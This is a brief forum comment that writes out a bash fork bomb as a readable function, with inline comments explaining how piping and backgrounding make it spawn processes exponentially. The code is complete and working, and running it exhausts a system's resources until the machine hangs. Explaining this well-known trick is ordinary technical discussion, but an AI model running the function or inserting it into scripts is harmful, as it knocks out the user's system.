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[–] [email protected] 2 points 6 days ago* (last edited 6 days ago)

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or (more clearly written):

function forkbomb() {
    forkbomb | forkbomb &  ## background the process whilst recursing
    ## the pipe ensures that both instances are called at the same time, instead of waiting on the other
    ## without the pipe, you just get a linear increase in processes. Slow bomb. We want fast.
};
forkbomb  ## start it all off